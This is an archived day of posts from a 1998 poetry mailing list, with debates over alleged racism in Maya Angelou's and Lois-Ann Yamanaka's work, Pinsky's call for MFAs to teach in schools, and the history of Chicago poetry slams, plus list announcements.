> *Without being a fan of Dr. Angelou, nothing you say Brent indicates*

racism on her part. The issue of reverse racism is a long debated one among white hysterics who love to react to the issue of "P.C." Racism is an issue of institutional domination, which despite her honorary degree, Dr. Angelou does not, will never, possess. See how easy it was for you to place her "back in Stamps, Arkansas."

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Another poet, American, citizen sick of the "race" issue,

Brent
[redacted]

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23. henry gould
pinsky racism publishing squid
Wed 1 Jul 1998

I read the Pinsky op-ed thing; the main thrust seemed to be the excitement of the school visit, & the call for getting more poets working in schools, plus a brief defense of the MFA system. Rather than complaining about the teaching certification system it might have been better to examine ways to get more money to Poets in the Schools programs in order to pay the poets more & get them more integrated into a regular curriculum. This seems like an achievable goal. Plus instead of blaming the schools he might have looked at MFA programs that integrate certification into the degree (if there could be such a thing).

Racism? Ey, we'd all like to kiss it goodby. But race (whatever blend of skin-color, genealogy, culture) I think is going to be around for a while, along with the history behind it & the present based on it - to say it's not an "issue" is the ostrich option. The Hawaii situation sounds extremely charged & complicated. I do think it's possible to read and discern between a fictional narrator's attitudes and the general thrust of an author's position. And if an author denigrates a group of people in their work then I have no problem with people politically protesting a public award for it. Whether that's actually the case with the author in question I don't know!! & it probably doesn't help to spread rumor, second-hand info, & so on if you haven't read the work, especially if you're one of the "judges"! My sister by adoption, white mother, Af-American father, lived in Hawaii for several years & loved it. But race is made an "issue" for her, every day - & not just in Hawaii.

On the state of publishing & so on - I don't think we've absorbed yet what websites, micropublishing, and readings - the active combination of these three - are doing to the audience for poetry & the process of what gets read and circulated. It's sort of like mass market film versus indies. But websites & micropublishing have strengthened the hand of the indies, so it's sort of an alternative to the big publishers, the grants, the awards... or a DIFFERENT KIND of stepping stone for those writers aiming for a wide public. Maybe aiming is the wrong word. But this indie world throws groups, trends, celebrity, prestige, styles in a new light. Maybe not as big a change as Gutenberg but a similar KIND of change happening. (this is po-biz not poetry, I guess). - Henry Gould

oh right, "squid".

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24. **Brent Long**
Re: Racist Poetics
Wed 1 Jul 1998

Simon (and list),

I do not see the similarities between Morrison's work (with the exception of _Paradise_) and Angelou's. However, I do resent the implication from rachel (who has never met me) that I am a "White Hysteric". I do not even need to defend such a ridiculous blanket statement. (I do, however, wonder if she has ever read the correspondence between Hurston and Langston Hughes, and whether or not that correspondence places Hughes in the "White Hysterics" group right along with me...an ironic idea, don't you think?)

I do now see the difference between Y's stance and that of Angelou, and am glad to have it stated as you have done. Hopefully, now this can fade out...old shit only stinks when you stir it...

Brent

At 01:12 PM 7/1/98 -0400, you wrote:
>Brent --
>
> I sympathize somewhat with your points; it is often
>a little distasteful to see artists such as Dr. Angelou (in
>my case, Dolores Kendrick) with an obvious race "agenda"
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>other than race, of course; writers with a distinct "feminist",
>"class based", regional, (&c...) stance often fail to translate
>their aesthetic positions into action. It's wonderful to admire
>writers such as Rich who manage to keep their politics "correct",
>but important to note that it's not a requirement for good art.
>
> I do agree with Rachel, though. The entirely media
>induced hysteria about "reverse discrimination" has been ungracefully
>gracing the back pages of Time magazine for years now, and it seems
>that even George Will is getting tired of complaining from Conneticuit.
>While I'm not a fan of Angelou, I do love, say, Morrison's work, which is
>all so full of "racist" violence; do you have the same problem, Brent,
>with her work? _Paradise_, _Jazz_...?
>
>>> Another poet, American, citizen sick of the "race" issue
>

>One of the few, I guess. Race is forever a part of American life
>in a way that it will never be (hopefully) for any other nation.
>Some of the great work of America is generated out of "the race
>issue", if that's what you want to call Faulkner's muse. Gould
>may point out that biologically speaking, race does not exist, but
>as a cultural and aesthetic entity, it's here to stay.
>
>> > attention concerning the recent award for Yamanaka's poetry??? What
sets
>> > her up for the chopping block, when ever more severe examples of
racism in
>> > literature are allowed to pass us by without note???
>
>Because nobody's tying up white people and dragging them behind
>pickup trucks. Because I turned on the shortwave this morning and
>heared the BBC World Service interviewing the KKK at a demonstration
>in Texas. Even if it weren't for the fact that whites in America have
>held the "language privilege" for years. I don't believe Yamanaka's
>work (fiction, not poetry, I believe) should be censored, but it's
>a totally different question there, where the writer may be taking
>cheap shots at racial group that can't respond because Y holds an
>position of economic power.
>
>-- Simon
>
>http://www.fas.harvard.edu/~sdedeo/localpapers.html
>[redacted]
>[redacted]
>[redacted]
>
>
>
>> Just to state the obvious:
>>
>> Without being a fan of Dr. Angelou, nothing you say Brent indicates
>> racism on her part. The issue of reverse racism is a long debated one
>> among white hysterics who love to react to the issue of "P.C." Racism
>> is an issue of institutional domination, which despite her honorary
>> degree, Dr. Angelou does not, will never, possess. See how easy it was
>> for you to place her "back in Stamps, Arkansas."
>>
>> Furthermore it is never a simple accidental/coincidental "reason" why

>> the audience is always almost entirely white middle-to-upper-class.
>> Check out the June 21 NYSlime article on the reorganiziation of private
>> college aid which favors just the abovementioned folk.
>>
>> as for her views, rhetoric, poetry--no need for me to defend them, her
>> political use of capitalization a racist make her? please please now.
>>
>> yours,
>> rachel [J]ewish democracy [L]esbian levitsky
>>
>> Brent Long wrote:
>> >
>> > Dear List,
>> >
>> > I have been watching the string of postings concerning the protest of
>> > Lois-Ann Yamanaka's recent award, based on what apparently were interpreted
>> > as racist views of hers.
>> >
>> > As I am watching this conversation unfold, I cannot help but wonder if i
>> > missed something somewhere along the way when so much attention was given
>> > to the genius of Maya Angelou, without regards to her - dare I say- OVERTLY
>> > racist viewpoints. I have heard Dr. Angelou (though I hate to call her
>> > that, since the degree is an honorary one, and not an academically earned
>> > one) speak on several occasions, and EVERY time she has lectured she has
>> > addressed the audience (which for some reason is always almost entirely
>> > white middle-to-upper-class) as if she were back in Stamps, Arkansas.
>> >
>> > In her novels and poetry, the word "black" is always capitalized, while the
>> > word "white" is never, and her views are almost bordering on rhetoric (to
>> > say it lightly). yet nobody ever says a word about it...why now all the
>> > attention concerning the recent award for Yamanaka's poetry??? What sets
>> > her up for the chopping block, when ever more severe examples of racism in
>> > literature are allowed to pass us by without note???
>> >
>> > Another poet, American, citizen sick of the "race" issue,

>> >
>> > Brent
>> > [redacted]
>>
>
>
[redacted]

↑ Index

25. Christopher W. Alexander
Re: Racist Poetics
Wed 1 Jul 1998

Brent Long sez:
> well, I think you've stated your case... and that's about all you've done.

how remarkably snotty of you... I guess this is in contrast to the uncompromising analytical skill you displayed in the post that inaugurated this exchange? I'm not especially interested in defending Angelou on this issue or any other, but I think Rachel Levitsky raises a worthwhile objection to your assessment, viz. that whatever claims you can make against this person are far outweighed by the institutional-structural racism that operates in clear favor of whites - compounded by a class structure that favors "middle-to-upper class" etc., which certainly bears on the supposed mystery of her audience. This not to mention overt acts of racist violence... The temptation must be overwhelming to lash out at the 'concerned' and 'open-minded' white liberals who come to hear her - most of them likely believing that they are by this act of hearing working to 'broaden American democracy' and solve the race problem, blind to their complicity in a system of this sort etcetera. This is not to say that Angelou isn't just capitalizing on race - but if she is, that's certainly no worse than any of her audience, both in terms of monetary capital and it's fruits (e.g., education, jobs) and the cultural capital that comes of proving themselves Good Liberals by their attendance. And if she's simply a racist, well, that's a shame but not the most pressing instance of bias, either.

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

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26. **Michael Magee**

Re: Racist Poetics

Wed 1 Jul 1998

Just one quick thought on this Angelou thing, don't want to get wrapped up in it - I just question one of the premises w/ which this all began, namely, that anyone in the Academy likes Maya Angelou's work. I know many, many Af-Am Lit & Studies people who don't think she's any good at all and aren't interested in her work in the least, though they may not say so publically (and indeed, why should they waste their time doing so?). In my interview w/ Harryette Mullen, she makes the interesting, and completely sincere, comment that she believes Angelou's intended audience is often adolescent girls, and should be contextualized as such. Alright, enough from me. -m.

According to Christopher W. Alexander: > > Brent Long
sez:
> > well, I think you've stated your case... and that's about all you've done.
>
> how remarkably snotty of you... I guess this is in contrast to
> the uncompromising analytical skill you displayed in the
> post that inaugurated this exchange?
> I'm not especially interested in defending Angelou on
> this issue or any other, but I think Rachel Levitsky raises a
> worthwhile objection to your assessment, viz. that whatever
> claims you can make against this person are far outweighed
> by the institutional-structural racism that operates in clear
> favor of whites - compounded by a class structure that favors
> "middle-to-upper class" etc., which certainly bears on the
> supposed mystery of her audience. This not to mention
> overt acts of racist violence...
> The temptation must be overwhelming to lash out at
> the 'concerned' and 'open-minded' white liberals who come
> to hear her - most of them likely believing that they are by this
> act of hearing working to 'broaden American democracy' and
> solve the race problem, blind to their complicity in a system of
> this sort etcetera.
> This is not to say that Angelou isn't just capitalizing on
> race - but if she is, that's certainly no worse than any of

> her audience, both in terms of monetary capital and it's fruits
> (e.g., education, jobs) and the cultural capital that comes of
> proving themselves Good Liberals by their attendance. And
> if she's simply a racist, well, that's a shame but not the most
> pressing instance of bias, either.
>
> chris
>
> ..
>
> Christopher W. Alexander etc. / nominative press collective
>
> email: [redacted] / [redacted]
> snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
> press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/
> **site temporarily unavailable**
>

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27. MAXINE CHERNOFF

Re: Slams/Pinsky as union busting

Wed 1 Jul 1998

Dear Julie,

I haven't been following the discussion about Slams, but I know something of its history, as one of my former students, Inka Alasade, was an undefeated six-time champs (who retired to study linguistics at the graduate level). Also, the famed post-punk poet Lorri Jackson was my student at Columbia College Chicago just before dying of a heroin overdose at age 28 (Lorri was "performative" and read with Jim Carroll at the Cubby Bear). I just want to emphasize that the distinction between the slams and the academic is complex and misunderstood, though that distinction was very useful in helping to publicize the slams as a late "beat" phenomenon. It's interesting to note that a number of the poets invited to appear as headliners by slam organizer Marc Smith, such as Reginald Gibbons and Marvin Bell, have long been associated with universities and, more importantly, mainstream practice. One night, the slam featured the poetry of James Dickey! Only Andrei Codrescu, of those in the tradition of New American Poetry (Allen), appeared at the slam that I know of. So there was a gap between what the slams intended as a late Beat poetics and the poetry they appeared to promote. I'm not putting down the slams; they're fine by me (now). I'm suggesting that the town/gown difference is complicated. At one of the best-known slam locations, run by poet Michael Warr, classes in how to write

for performance (and to perform) have been offered for years. Does this suggest that the slams are becoming academic or simply culturally institutionalized? One of the real oddities of the late 80s and early 90s in Chicago was that I was speaking against the slams (though I have long supported experimental practice and included performance poetry of the first two postwar generations in Postmodern American Poetry) and the more conservative Reg Gibbons was for them. Go figure. Hostilities were suspended by me incidentally just before Maxine Chernoff and I moved to California.

Paul Hoover

On Wed, 1 Jul 1998, Julie Marie Schmid wrote:

> *Amen to Ron's post! The idea of using non-certified MFAs to teach in public schools could be seen as a serious attempt to errode the teachers unions' bargaining units. Likewise, it appears to me that the "more bang for your buck" theory of education would work just like the ethically questionable practice of hiring adjuncts and one-year contracts, etc., that is all the rage in most universities and colleges. It's just a way to hire people for very little money, offer them no job security, and then work their asses off because they are so pleased to get a chance to be in front of a classroom.*
>
> *I also find it curious that no one has mentioned any of the slam poets who ARE high school or middle school teachers. Daniel Faery of the Berwyn team and Taylor Mali (who did teach at one time--I'm not sure he still does) immediately come to mind. There is also Michael Brown, who is a professor at Mount Ida College in Boston.*
>
> *This might be a bit naive on my part, but it seems clear to me that the qualities that make one a good teacher would also make one a good slam poet--enthusiasm, eloquence, and the ability to make you think about something in a new way. Of course, not all slam poetry does this. But, then again, not every teacher does either.*
>
> *Julie Schmid*
> *Dept. of English*
> *University of Iowa*

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28. louis stroffolino
part(y)
Wed 1 Jul 1998

Happy canada day---
A question: ANybody in the NY area know of any interesting

parties going on the July 4th period (most everyone I know is leaving town).....
And an invitation:
Me, and my roommate Gary Sullivan, will be hosting a Brooklyn roof party (well, not just on the roof) on JULY 24th (friday).
For more info, backchannel etc.--------chris

↑ Index

29. **louis stroffolino**
Re: Slams and Lorri Jackson
Wed 1 Jul 1998

Hey, does anybody know if the Lorri Jackson posthumus collection ever came out. There was talk about it several years ago (the gentleman who edits the Chiron Review might have been involved), but I've lost track, and haven't heard anything..... chris

On Wed, 1 Jul 1998, MAXINE CHERNOFF wrote:

> *Dear Julie,*
>
> *I haven't been following the discussion about Slams, but I know something of its history, as one of my former students, Inka Alasade, was an undefeated six-time champs (who retired to study linguistics at the graduate level). Also, the famed post-punk poet Lorri Jackson was my student at Columbia College Chicago just before dying of a heroin overdose at age 28 (Lorri was "performative" and read with Jim Carroll at the Cubby Bear). I just want to emphasize that the distinction between the slams and the academic is complex and misunderstood, though that distinction was very useful in helping to publicize the slams as a late "beat" phenomenon. It's interesting to note that a number of the poets invited to appear as headliners by slam organizer Marc Smith, such as Reginald Gibbons and Marvin Bell, have long been associated with universities and, more importantly, mainstream practice. One night, the slam featured the poetry of James Dickey! Only Andrei Codrescu, of those in the tradition of New American Poetry (Allen), appeared at the slam that I know of. So there was a gap between what the slams intended as a late Beat poetics and the poetry they appeared to promote. I'm not putting down the slams; they're fine by me (now). I'm suggesting that the town/gown difference is complicated. At one of the best-known slam locations, run by poet Michael Warr, classes in how to write for performance (and to perform) have been offered for years. Does this suggest that the slams are becoming academic or simply culturally institutionalized? One of the real oddities of the late 80s and early 90s in Chicago was that I was speaking against the slams (though I have long supported experimental practice and included performance poetry of the first two postwar generations in Postmodern American Poetry) and the more conservative Reg Gibbons was for*

> *them. Go figure. Hostilities were suspended by me incidentally just before Maxine Chernoff and I moved to California.*
>
> *Paul Hoover*
>
> *On Wed, 1 Jul 1998, Julie Marie Schmid wrote:*
>
> *Amen to Ron's post! The idea of using non-certified MFAs to teach in public schools could be seen as a serious attempt to errode the teachers unions' bargaining units. Likewise, it appears to me that the "more bang for your buck" theory of education would work just like the ethically questionable practice of hiring adjuncts and one-year contracts, etc., that is all the rage in most universities and colleges. It's just a way to hire people for very little money, offer them no job security, and then work their asses off because they are so pleased to get a chance to be in front of a classroom.*
>
> *I also find it curious that no one has mentioned any of the slam poets who ARE high school or middle school teachers. Daniel Faery of the Berwyn team and Taylor Mali (who did teach at one time--I'm not sure he still does) immediately come to mind. There is also Michael Brown, who is a professor at Mount Ida College in Boston.*
>
> *This might be a bit naive on my part, but it seems clear to me that the qualities that make one a good teacher would also make one a good slam poet--enthusiasm, eloquence, and the ability to make you think about something in a new way. Of course, not all slam poetry does this. But, then again, not every teacher does either.*
>
> *Julie Schmid*
> *Dept. of English*
> *University of Iowa*

↑ Index

30. Maria Damon (Maria Damon)

yo katy lederer

Wed 1 Jul 1998

---

katy contact me bc. or, if she's not on the list anymore, please someone send her address to me.

↑ Index

31. MAXINE CHERNOFF

Re: three items...

Wed 1 Jul 1998

Dear Joe Amato, et al:

One more thing about the history of slams. Yes, the slams were founded by Marc Smith at the Green Mill bar on Broadway in Chicago. He took the concept from Al Simmons, who now does the Taos Poetry Circus or whatever it's called. In the late 70s and early 80s, Al organized poetry competitions along the lines of a boxing match. Jerome Sala, who's married to poet Elaine Equi and now lives with her in NYC, was by far the outstanding performer of the time, Mayakovskian and punk. Marc changed the boxing metaphor to wrestling, and the rest is history. Marc Smith deserves a lot of credit as an impresario and also as a performer. He's tireless and energetic, and he stirred things up. Those studying this phenomenon might find it of interest that Baraka once spoke against slams as commodification rather than a political force field, or something to that effect. Probably the energy behind it is the desire to get poetry ready for the age of mass communications. But those successful at slamming, like Paul Beatty, always find a home on the page as well.

Paul Hoover

On Wed, 1 Jul 1998, Joe Amato/Kass Fleisher wrote:

> *(1) bob holman makes a convincing case for the value of slams, whatever you think of them... the only danger of course is that folks come out of slams expecting ALL poetry to do thus & so in terms of oral performance... but worth the risk to get the word out, i think, and to contribute to the flows... btw: is it true that both slams and bouts had their origins in chicago?... i've heard marc smith go on about slams... in any case, this makes the cultural-historian-hobbyist in me wanna ask what is it about chicago that cultivates same?... broad shoulders?...*
>
> *(2) i agree with ron and julie on the union issues, being mself prone toward collective bargaining... somehow it sounds like pinsky just wasn't thinking... but julie: i'm not sure i'd make that correlation between performance and teaching quite so strong...*
>
> *(3) brent long: "Another poet, American, citizen sick of the 'race' issue"... are you joking or something?... i don't have much use for angelou's poetry mself, but that's quite beside the point it seems you're making here...*
>
> *best,*
>
> *joe*

↑ Index

32. MAXINE CHERNOFF
Re: Slams and Lorri Jackson
Wed 1 Jul 1998

Dear Chris (Stroffolino):

Yes, the posthumous Lorri Jackson book appeared. It's called SCAT, 82 pp. in ring-binder format. The publisher is Oyster PUblications, P.O. Box 4333, Austin, TX 78765. The same publisher has on its list MY MOUTH IS A HOLE IN MY FACE by the same author. Can't give you the list price. Very much a small press publication, with cover art of a young woman sitting on an exploding toilet. The poems in the book include some earlier work that I can remember from workshops, but overall the collection is too uneven and doesn't serve Lorri very well.

Best,
Paul Hoover

↑ Index

33. Jordan Davis
in public service
Wed 1 Jul 1998

Bob --

Anything you can do to get wider funding for writers-in-the-schools programs would be welcome, by the writers, the teachers, and the hassled administrators .. most principals I know these days are more like development officers (grant writers) than the clueless despots I remember lumbering around. Poets in Public Service (formerly known as Poets in the Schools; they changed their name when they noticed that PITS was kind of a self-fulfilling acronym) isn't in business anymore, by the way. Send people to Teachers & Writers ([redacted]).

Jordan

↑ Index

34. R. Gancie
ad hoc
Wed 1 Jul 1998

"Ad hoc approximations abound in modern mathematical physics. They play a very important part in the quantum theory of fields and they are an essential

ingredient in the correspondence principle. At the moment we are not concerned with the reasons for this fact, we are only concerned with its consequences: ad hoc approximations conceal and even entirely eliminate, qualitative difficulties. They create a false impression of the excellence of our science...."---from Against Method by Paul Feyeraband---cp

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35. Michael Kelleher
a l y r i c m a i l e r 7
Wed 1 Jul 1998

Poets & Friends

a l y r i c m a i l e r 7

Cloud to Cloud

a poem for three voices by Carrie Anne Tocci

on the page and for the first time here with REALAUDIO sound!!!!

is up at http://writing.upenn.edu/spc/alyric/index.html

Carrie Anne Tocci, a native of Fairport, NY, earned her MA in English and Creative Writing at CCNY, where she was the 1997 recipient of the Academy of American Poets Prize and the Malinche Translation Award. Her poems have appeared in Whatever and are forthcoming in Promethean. She teaches in Manhattan and lives in Brooklyn with her cat, Ceili.

upcoming issues include an issue devoted to the participants of the recent place(less Place) gathering of poets in Buffalo and a special critical issue on the work of Ben Friedlander.

Enjoy.

Truly,

Mike

↑ Index

36. Bob Grumman
Need Address of Jonathan Fernandez
Wed 1 Jul 1998

A friend of mine, Harry Burrus, needs to get in touch with Jonathan Fernandez, another friend of mine, but neither Harry nor I have a current address for Jonathan. Anyone out there have his present snail or e.mail address?

Thanks, Bob G.

↑ Index

37. **toddbaron**
Re: they don't?
Wed 1 Jul 1998

Jordan Davis wrote:
>
> Actually, many poets _do_ teach middle and high school. Conversely, many
> middle and high school students like poetry and prefer stranger kinds of
> writing. Here are a couple of poems by middle schoolers at the School for
> the Physical City in Manhattan:
>
> POEM
>
> meaning of poem
> America is not contrary to popu-
> wow said Mr. Pinsky. After
> students and an adult literacy stu-
> we too are a virtual part of America.
> and Mike Wallace read those guys
> ments came as poems were read by
> was also the opening day of National
> happy to say I'm not the Mayor of Mr.
> Town Hall to read selections of their
> relishing their
> the reading which brought about
> archive of 1,000 average America
> weren't bad
> to asking a parent to pick a favorite.
>
> --David Frey
>
> IT'S ALWAYS FAIR
>
> I will never finish any of this
> because I decided to boycott all the things I need
> Nowadays I dine in and take my drinks in the Mediterranean
> Sometimes I'm the stone people tend to send
> skipping over ripples in a lake
> and I've always slept like a rabbit
> I am on everywhere's vacation to anywhere
> I am a big shiny disco ball that loves people who dazzle

> and makes the seagulls choke on their own ocean
>
> --Molly Ahern
>
> The classroom teacher was Anne Yerger, and the writers-in-residence from
> Teachers and Writers Collaborative were Chris Edgar and myself. Anyway,
> Pinsky's _met_ David Frey, and I believe he knows that
> writers-in-residence programs put poets in schools in New York, San
> Francisco, Houston, Chicago, Minneapolis, Seattle, and smaller cities
> across the country. He may also be aware that some places consider an MFA
> qualification enough to apply to be certified (as teachers, you wags).
>
> Releasing the umfas on the schools might not be such a bad idea -- not for
> full year classes, but for ten or twenty-day gigs. Why not make it a
> movement at the next AWP convention? or the MLA, for that matter, to have
> some kind of community service (e.g. public school) requirement for
> graduation might be a little old-shoe, but what about offering that
> service to the community?
>
> Jordan Davis

RE: these:

Yes: the "academics" could lovingly learn from these children. (As we all can.) Having taught at both the college level and now at the middle school level--I prefer the middle school. As a poet the language comes as primary source--thus the language is put primary--as primer--more so in middle school (for my exp.) than at the art college I taught at. The children do like "odd" poems because the children can be allowed to love and engage language. The notions (all "language" "marxist" "post marx" "post mod." "confessionals" "blah blah blah" mean beautiful NOTHING to the children. When we read they want to know about LIFE and the LANGUAGE. Allowing a reading text to be smart for middle schoolers is also a joy. I've put together readings specific to my writing workshop that were filled with Ashbury, Baraka, Lyn Hejinian, Celan, Rumi, Dickinson, Whitman, Hughes, Creeley, Duncan, even Silliman (only the "even" cause these kids are 11-14!) and they've "gotten" them all.

A discussion the other day with Diane Ward: she mentions that her son's 4th grade teacher did a poetry "section" and that all the poems were directed toward that notion that "this equals that" --as if the poems had to HAD TO be a direct relationship to the living everyday. Iused to be 6...now I'm 9.." etc. In my workshops I often stress SOUND as Meaning, Meanings as Sound, etc. I would argue that these kids get poetry in a way that refreshes MY ear and continually gives me energy. My other (personal, obviously) exp. at the academic level

often showed a death and dearth of care towards the poem and a much more elevated level of "grasping at ..." . I guess I just like kids!

Everyone should have a go at the experience of teaching/writing with children. You'll find out what you really believe in a vastly rhetorical manner.

Todd Baron

↑ Index

38. **toddbaron**
#2
Wed 1 Jul 1998

#2

I actually meant "non-rhetorical" way. But hey!

ps: the fiction and drama I teach in my English courses at the same 7th grade level is also a joy and a stretch for the kids: N. Mahfouz, Fugard, Alan Paton, Borges, Allende, etc. Certainly a stretch for a 12 year old--but a stretch they intend to met because we allow (not ask or demand) them to.

↑ Index

39. **William Burmeister Prod**
Re: pinsky racism publishing squid
Wed 1 Jul 1998

> *I do think it's possible to read and discern between a fictional narrator's attitudes and the general thrust of an author's position. And if an author denigrates a group of people in their work then I have no problem with people politically protesting a public award for it. Whether that's actually the case with the author in question I don't know!!*

Right! Don't mean to sound like an ass-haole here--the author not only bears the brunt for such criticism, but actually (and gladly) exchanges it for the attention (notoriety?) that goes along with it. The award notwithstanding, Yamanaka is getting a lot more out of this than anyone else (this is not a criticism of her at all), and for that matter so is the panel, who get to assert themselves. I mean that her name, her works will probably still stand long after the judges, and panels (and their names) are forgotten. Or is our concern here only for the NOW, the works throwaways?

William

↑ Index

40. William Burmeister Prod
Hawai'i/Esperanto
Wed 1 Jul 1998

"In Hawaiian schools, for example, the study of Esperanto is a basic part of that state's innovative English program"

Can anyone shed light on this statement (taken from the www)? Is it true?

William

↑ Index

41. Jessica Smith
Re: they don't?
Wed 1 Jul 1998

I don't really understand how Pinsky's remarks on the MFA led to a debate about teaching poetry in school, but i'd like to talk about my school's programs.

First, at my school the MA is considered as good as a teaching certificate. I go to Mountain Brook High School, which has been twice named a Blue Ribbon school and is overall very prestigious (though public). The MA with additional teaching experience yields an increase in one's paycheck. I suspect that the same goes for the MFA, so yes, some schools do take a degree as a teaching certificate regardless of experience (of course, I think that any school would much rather hire someone with classroom experience).

Secondly, we have a creative writing program. The AP English teacher, Melinda Cammarata, who used to teach at a local university, teaches it. Last year there were 10 students. The class worked like this: every week for at least 2 days, we had a forum in which we read and commented on each other's work. The other three days we wrote or tossed ideas back and forth. Every quarter, we had requirements like "write a haiku, a short story, a dramatic monologue, and a villanelle." Most of us had to research at least one of those forms to figure out what they were and how best to write one (for instance, I think Collins' "The Story We Know" is better than Thomas' "Rage, Rage" (i'm not sure that's the title)). This left a lot up to the students. We had to think for ourselves, learn rules, forms, sound techniques, etc. on our own. Those of us who were concurrently taking AP english were lucky because in English class we went through many time periods of poetry and learned a lot about meter/sound/devices/etc. The last quarter of Creative Writing was free-- we were each to choose what forms we wanted to experiment with (although we had been able to write whatever we wanted in the other quarters, we'd also had form requirements... in the last quarter we set up our own requirements to supplement our usual free writing). We also had to do a project (one class period presentation)

highlighting one author, period, or style. Some of the projects done were Whitman, Dickinson, Dr. Seuss, John Grisham, and Kurt Vonnegut (I did John Cage). I think it was a very good program.

I think that one with an MFA could probably teach in just about any school as long as there was a demand for a poetry (or creative writing) teacher. Since most schools probably would not want to pay for such frivolity when they can't even afford math and english teachers, then it's not really a secure place to be job-hunting. However, I don't think that letting people with MFAs teach would defeat bargaining claims amoung teachers or turn any school into a "concentration camp" (i think the parallel drawn is immature, hyperbolic, and disrespectful to the actual holocaust survivors, but that is another story altogether). As there are teachers who have MAs (or MFAs) who do not have certificates or even hours, I don't think that other teachers are in much danger of losing anything if someone with an MA gets a job. The reason that I disagree is that people with MFAs have a special talent and can fill a niche that few "normal" teachers can.

Jessica Smith

↑ Index

42. **raea100900**
Bad History
Wed 1 Jul 1998

Hi-

By the way, I notice Publisher's Weekly just ran a positive review of Bad History.

Rae Armantrout

↑ Index

43. **s. kaipa**
Re: protest of award for Yamanaka
Wed 1 Jul 1998

I too would like to thank Julianna for making us aware of the controversy surrounding Yamanaka.

I must admit, I'm rather taken by Yamanaka's work and I wonder--for those of us who have read her--whether Yamanaka's books are not filled with a questioning of many "perverted" sexualities. In Saturday Night, I get the sense that many of the Japanese Americans are also depicted as "oversexed" or as having bizarre sexual affiliations. Also, there seem to be Japanese American

characters taking shots at other Japanese American characters--on racist terms--in the book. I guess this kind of attack goes back to Morrison's technique (or at least it seems related in my own mind) in The Bluest Eye. The "black people who hate black people" narrative as evidence of self-hatred. But in Yamanaka's case, the Japanese American vs. Japanese American suggests a general sense of hating being Asian in the general sense. The us vs. them is not, in my opinion, the us of Japanese vs. the them of Philipinos. But, again, I'm hesistant to take position--am instead talking around the subject and am only following the thread and wondering.

Also--any information on how Philipino/a writers have felt about this controversy, specifically? Jessica Hagedorn? Alarcon?

Summi

↑ Index

44. William Slaughter
Mudlark Poster
Wed 1 Jul 1998

MUDLARK
An Electronic Journal of Poetry & Poetics
'never in and never out of print'
http://www.unf.edu/mudlark

_____

New and On View:

MUDLARK POSTER NO. 13 (1998)

The Immortals, In Question
and Report from the Front

Poems by Robert Sward

* * * * * * * * * * * * *

Winner of a Guggenheim Fellowship, Robert Sward is the author of sixteen books including Uncivilizing (Insomniac Press, Canada); A Much-Married Man, A Novel; and Four Incarnations, New & Selected Poems (Coffee House Press). Contributing Editor to eZines Blue Moon Review and Pares cum Paribus (Chile), Sward also served as editor for eSCENE 1996, "the best short stories to be published on the Internet."

* * * * * * * * * * * * *

Spread the word. Far and wide,

William Slaughter

_____

[redacted]

↑ Index

45. **morpheal**

Re: without established connections self published goes nowhere

Wed 1 Jul 1998

> *if the authors pay for everything, are the publishers really publishers, or would it be more accurate to call them printers? if i write a book i can call mcnaughton&gunn in michigan and have them print as many copies as i can pay for. but this is far different from sending a manuscript to a publisher and hoping they like it enough to print it.*

Of course they are publishers.

They offer design, typesetting, artwork, coordination of the printing and binding through subcontracts....and sometimes other services. They usually offer a package price of so many dollars for so many copies printed. The publisher often also puts out a catalogue and might arrange for distribution via a distribution company. That is not always the case with short run, short length chapbooks.

A printer only does the printing, and sometimes makes the printing plates. Although some printers do offer creative services that do those other things. I do not know any printers who put out catalogues or arrange distribution.

M.

↑ Index

46. **Mark Weiss**

Re: they don't?

Wed 1 Jul 1998

The issue, Jessica, is not what degrees your teachers have but whether they are hired as low-paid non-union labor. It's important to remember that before the Teacher's Union full-time teachers were paid poverty-level wages. It was quintessential "women's work," and women who were their own or their family's sole support were regarded, conveniently, as anomalies. You're certainly right, by the way, that few school systems, in the current environment in which art and music programs are being eliminated, can afford to fund a full-time creative writing teacher. My thought was that it wouldn't be a terrible thing for folks with MFAs to work as regular classroom teachers with special talents and training that they could bring to their schools and students. Participants in poets-in-

the-schools type programs too often see themselves as better than the regular teachers because their students are so enthusiastic. They don't realize that the poetry class is like recess, for students and teacher. Most of the serious work of the school gets done by teachers who remain in contact with their students and community for many years of full-time work. They may be more tired and less enthusiastic than whatever dog-and-pony show the schools can get as freebies (because funding doesn't usually come from the school's budget), but their investment in the process is also much greater. Which might not be bad for a lot of otherwise semi-employed MFAs to experience. Incidentally, I've done my share of gigs as poet-in-school. My mother was a fulltimer. I know the difference.

At 06:01 PM 7/1/98 EDT, you wrote:
>I don't really understand how Pinsky's remarks on the MFA led to a debate
>about teaching poetry in school, but i'd like to talk about my school's
>programs.
>
>First, at my school the MA is considered as good as a teaching
certificate. I
>go to Mountain Brook High School, which has been twice named a Blue Rib-
bon
>school and is overall very prestigious (though public). The MA with
>additional teaching experience yields an increase in one's paycheck. I
>suspect that the same goes for the MFA, so yes, some schools do take a de-
gree
>as a teaching certificate regardless of experience (of course, I think that
>any school would much rather hire someone with classroom experience).
>
>Secondly, we have a creative writing program. The AP English teacher,
Melinda
>Cammarata, who used to teach at a local university, teaches it. Last year
>there were 10 students. The class worked like this: every week for at
least 2
>days, we had a forum in which we read and commented on each other's work.
The
>other three days we wrote or tossed ideas back and forth. Every quarter, we
>had requirements like "write a haiku, a short story, a dramatic monologue,
and
>a villanelle." Most of us had to research at least one of those forms to
>figure out what they were and how best to write one (for instance, I think
>Collins' "The Story We Know" is better than Thomas' "Rage, Rage" (i'm not
sure

>that's the title)). This left a lot up to the students. We had to think for
>ourselves, learn rules, forms, sound techniques, etc. on our own. Those
of us
>who were concurrently taking AP english were lucky because in English
class we
>went through many time periods of poetry and learned a lot about
>meter/sound/devices/etc. The last quarter of Creative Writing was free-- we
>were each to choose what forms we wanted to experiment with (although we
had
>been able to write whatever we wanted in the other quarters, we'd also had
>form requirements... in the last quarter we set up our own requirements to
>supplement our usual free writing). We also had to do a project (one class
>period presentation) highlighting one author, period, or style. Some of the
>projects done were Whitman, Dickinson, Dr. Seuss, John Grisham, and Kurt
>Vonnegut (I did John Cage). I think it was a very good program.
>
>I think that one with an MFA could probably teach in just about any school as
>long as there was a demand for a poetry (or creative writing) teacher. Since
>most schools probably would not want to pay for such frivolity when they
can't
